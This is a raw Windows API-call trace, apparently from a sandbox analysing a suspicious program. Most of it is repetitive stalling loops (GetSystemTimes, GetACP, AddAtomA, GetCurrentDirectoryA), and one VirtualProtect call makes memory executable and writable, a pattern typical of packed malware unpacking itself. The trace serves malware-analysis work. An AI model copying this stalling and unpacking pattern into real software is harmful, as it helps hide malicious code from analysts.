GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.438] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.438] GetACP () returned 0x4e4 [0049.438] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.438] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.438] GetACP () returned 0x4e4 [0049.438] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.438] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.438] GetACP () returned 0x4e4 [0049.438] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.438] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.438] GetACP () returned 0x4e4 [0049.438] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.438] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.438] GetACP () returned 0x4e4 [0049.438] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.439] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.439] GetACP () returned 0x4e4 [0049.439] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.439] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.439] GetACP () returned 0x4e4 [0049.439] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.439] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.439] GetACP () returned 0x4e4 [0049.439] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.439] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.439] GetACP () returned 0x4e4 [0049.439] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.439] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.439] GetACP () returned 0x4e4 [0049.439] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.439] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.439] GetACP () returned 0x4e4 [0049.439] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.439] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.439] GetACP () returned 0x4e4 [0049.439] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.439] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.439] GetACP () returned 0x4e4 [0049.439] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.439] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.440] GetACP () returned 0x4e4 [0049.440] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.440] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.440] GetACP () returned 0x4e4 [0049.440] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.440] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.440] GetACP () returned 0x4e4 [0049.440] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.440] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.440] GetACP () returned 0x4e4 [0049.440] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.440] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.440] GetACP () returned 0x4e4 [0049.440] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0049.440] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0049.440] GetACP () returned 0x4e4 [0049.650] VirtualProtect (in: lpAddress=0x5b5aa8, dwSize=0xfacb, flNewProtect=0x40, lpflOldProtect=0x43bc04 | out: lpflOldProtect=0x43bc04*=0x4) returned 1 [0049.651] AddAtomA (lpString=0x0) returned 0x0 [0049.651] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.651] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.651] AddAtomA (lpString=0x0) returned 0x0 [0049.651] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.651] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.651] AddAtomA (lpString=0x0) returned 0x0 [0049.651] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.651] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.651] AddAtomA (lpString=0x0) returned 0x0 [0049.651] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.651] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.651] AddAtomA (lpString=0x0) returned 0x0 [0049.651] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.652] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.652] AddAtomA (lpString=0x0) returned 0x0 [0049.652] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.652] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.652] AddAtomA (lpString=0x0) returned 0x0 [0049.652] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.652] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.652] AddAtomA (lpString=0x0) returned 0x0 [0049.652] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.652] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.652] AddAtomA (lpString=0x0) returned 0x0 [0049.652] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.652] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.652] AddAtomA (lpString=0x0) returned 0x0 [0049.652] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.652] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.652] AddAtomA (lpString=0x0) returned 0x0 [0049.652] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.652] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.652] AddAtomA (lpString=0x0) returned 0x0 [0049.652] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.652] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.652] AddAtomA (lpString=0x0) returned 0x0 [0049.652] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.652] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.652] AddAtomA (lpString=0x0) returned 0x0 [0049.652] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.652] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.652] AddAtomA (lpString=0x0) returned 0x0 [0049.652] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.652] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.653] AddAtomA (lpString=0x0) returned 0x0 [0049.653] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.653] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.653] AddAtomA (lpString=0x0) returned 0x0 [0049.653] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.653] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.653] AddAtomA (lpString=0x0) returned 0x0 [0049.653] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.653] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.653] AddAtomA (lpString=0x0) returned 0x0 [0049.653] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.653] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.653] AddAtomA (lpString=0x0) returned 0x0 [0049.653] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.653] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.653] AddAtomA (lpString=0x0) returned 0x0 [0049.653] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.653] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.653] AddAtomA (lpString=0x0) returned 0x0 [0049.653] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.653] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.653] AddAtomA (lpString=0x0) returned 0x0 [0049.653] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.653] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.653] AddAtomA (lpString=0x0) returned 0x0 [0049.653] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.653] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.653] AddAtomA (lpString=0x0) returned 0x0 [0049.653] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.653] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.653] AddAtomA (lpString=0x0) returned 0x0 [0049.653] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.653] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.654] AddAtomA (lpString=0x0) returned 0x0 [0049.654] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.654] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.654] AddAtomA (lpString=0x0) returned 0x0 [0049.654] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.654] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.654] AddAtomA (lpString=0x0) returned 0x0 [0049.654] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.654] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.654] AddAtomA (lpString=0x0) returned 0x0 [0049.654] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.654] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.654] AddAtomA (lpString=0x0) returned 0x0 [0049.654] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.654] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.654] AddAtomA (lpString=0x0) returned 0x0 [0049.654] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.654] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.654] AddAtomA (lpString=0x0) returned 0x0 [0049.654] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.654] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.654] AddAtomA (lpString=0x0) returned 0x0 [0049.654] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.654] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.654] AddAtomA (lpString=0x0) returned 0x0 [0049.654] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.654] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.654] AddAtomA (lpString=0x0) returned 0x0 [0049.654] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.654] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.654] AddAtomA (lpString=0x0) returned 0x0 [0049.654] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.655] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.655] AddAtomA (lpString=0x0) returned 0x0 [0049.655] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.655] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.655] AddAtomA (lpString=0x0) returned 0x0 [0049.655] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.655] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.655] AddAtomA (lpString=0x0) returned 0x0 [0049.655] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.655] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.655] AddAtomA (lpString=0x0) returned 0x0 [0049.655] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.655] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.655] AddAtomA (lpString=0x0) returned 0x0 [0049.655] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.655] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.655] AddAtomA (lpString=0x0) returned 0x0 [0049.655] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.655] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.655] AddAtomA (lpString=0x0) returned 0x0 [0049.655] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.655] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.655] AddAtomA (lpString=0x0) returned 0x0 [0049.655] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.655] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.655] AddAtomA (lpString=0x0) returned 0x0 [0049.655] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.655] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.655] AddAtomA (lpString=0x0) returned 0x0 [0049.655] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.655] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.655] AddAtomA (lpString=0x0) returned 0x0 [0049.655] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.656] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.656] AddAtomA (lpString=0x0) returned 0x0 [0049.656] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.656] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.656] AddAtomA (lpString=0x0) returned 0x0 [0049.656] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.656] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.656] AddAtomA (lpString=0x0) returned 0x0 [0049.656] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.656] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.656] AddAtomA (lpString=0x0) returned 0x0 [0049.656] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.656] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.656] AddAtomA (lpString=0x0) returned 0x0 [0049.656] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.656] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.656] AddAtomA (lpString=0x0) returned 0x0 [0049.656] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.656] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.656] AddAtomA (lpString=0x0) returned 0x0 [0049.656] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.656] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.656] AddAtomA (lpString=0x0) returned 0x0 [0049.656] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.656] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.656] AddAtomA (lpString=0x0) returned 0x0 [0049.656] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.656] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.656] AddAtomA (lpString=0x0) returned 0x0 [0049.656] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.656] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.656] AddAtomA (lpString=0x0) returned 0x0 [0049.657] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.657] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.657] AddAtomA (lpString=0x0) returned 0x0 [0049.657] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.657] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.657] AddAtomA (lpString=0x0) returned 0x0 [0049.657] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.657] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.657] AddAtomA (lpString=0x0) returned 0x0 [0049.657] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.657] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.657] AddAtomA (lpString=0x0) returned 0x0 [0049.657] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.657] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.657] AddAtomA (lpString=0x0) returned 0x0 [0049.657] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.657] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.657] AddAtomA (lpString=0x0) returned 0x0 [0049.657] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.657] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.657] AddAtomA (lpString=0x0) returned 0x0 [0049.657] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.657] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.657] AddAtomA (lpString=0x0) returned 0x0 [0049.657] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.657] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.657] AddAtomA (lpString=0x0) returned 0x0 [0049.657] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.657] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.657] AddAtomA (lpString=0x0) returned 0x0 [0049.657] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.657] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.657] AddAtomA (lpString=0x0) returned 0x0 [0049.658] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.658] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.658] AddAtomA (lpString=0x0) returned 0x0 [0049.658] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.658] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.658] AddAtomA (lpString=0x0) returned 0x0 [0049.658] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.658] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.658] AddAtomA (lpString=0x0) returned 0x0 [0049.658] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.658] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.658] AddAtomA (lpString=0x0) returned 0x0 [0049.658] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.658] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.658] AddAtomA (lpString=0x0) returned 0x0 [0049.658] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.658] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.658] AddAtomA (lpString=0x0) returned 0x0 [0049.658] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.658] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.658] AddAtomA (lpString=0x0) returned 0x0 [0049.658] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.658] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.658] AddAtomA (lpString=0x0) returned 0x0 [0049.658] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.658] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.658] AddAtomA (lpString=0x0) returned 0x0 [0049.658] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.658] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.658] AddAtomA (lpString=0x0) returned 0x0 [0049.658] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.659] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.659] AddAtomA (lpString=0x0) returned 0x0 [0049.659] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.659] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.659] AddAtomA (lpString=0x0) returned 0x0 [0049.659] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.659] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.659] AddAtomA (lpString=0x0) returned 0x0 [0049.659] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0049.659] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0049.659] AddAtomA (lpString=0x0) returned 0x0 [0049.659] 